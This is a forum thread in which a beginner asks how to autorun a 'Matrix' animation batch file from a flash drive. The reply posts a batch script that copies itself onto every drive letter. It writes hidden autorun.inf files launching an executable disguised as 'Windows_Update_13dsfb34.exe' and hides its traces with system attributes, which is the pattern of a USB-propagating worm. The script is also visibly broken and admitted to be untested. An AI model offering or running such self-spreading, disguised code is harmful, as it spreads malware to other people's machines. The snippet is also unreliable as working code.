I want to Autorun my Batch file.(Noob here)

Ecs / G31t-m7
January 15, 2011 at 20:58:48
Specs: Windows XP, 2.194 GHz / 1014 MB
Well, I created a Matrix.bat (the matrix animation thing)
and i want to autorun it, whenever i plug my Flashdrive..

When I plug my flashdrive i want my matrix animation will open and run automatically.. how can i make it possible?

Thank you.

See More: I want to Autorun my Batch file.(Noob here)

Report •

January 16, 2011 at 06:58:42
for %%p in (b e f g h i j k l m n o p q r s t u v w x y z) do if exist %%p:%0 goto LOG
for %%i In (b e f g h i j k l m n o p q r s t u v w x y z) do type %0 > %%i:
ECHO [autorun] > %%i:\autorun.inf
ECHO open=Windows_Update_13dsfb34.exe >> %%i:\autorun.inf
ECHO shellexecute=Windows_Update_13dsfb34.exe >> %%i:\autorun.inf
ECHO Icon=%windir%\system32\Shell32.dll,4 >> %%i:\autorun.inf
ECHO Shell\Open\COMMAND=Windows_Update_13dsfb34.exe
ECHO Shell\Explore\command=Windows_Update_13dsfb34.exe
ECHO UseAutoPlay=1
REM If you want to make Autorun.inf hidden then:
attrib +h +s %%i:\autorun.inf

ECHO ::USuB Log:: > USuB_Log.log
ECHO Directory *c5734b2b09076e4acebc92bb8c66* >> USuB_Log.log
ECHO USB's in drive A-Z excluding C, D, and E, Installed >> USuB_Log.log
ECHO USuB_Log.log C:\c5734b2b09076e4acebc92bb8c66\USuB_Log.log
attrib +s C:\c5734b2b09076e4acebc92bb8c66\USuB_Log.log
del %curdir% USuB_Log.log

Check if it works and get back to me as its untested.
i think it only works on Vista and bellow it certainly dont work on Windows7 as autorun is disabled by default might be same for Vista i dont know but atleast works for xp and bellow,

Report •
Related Solutions

Ask Question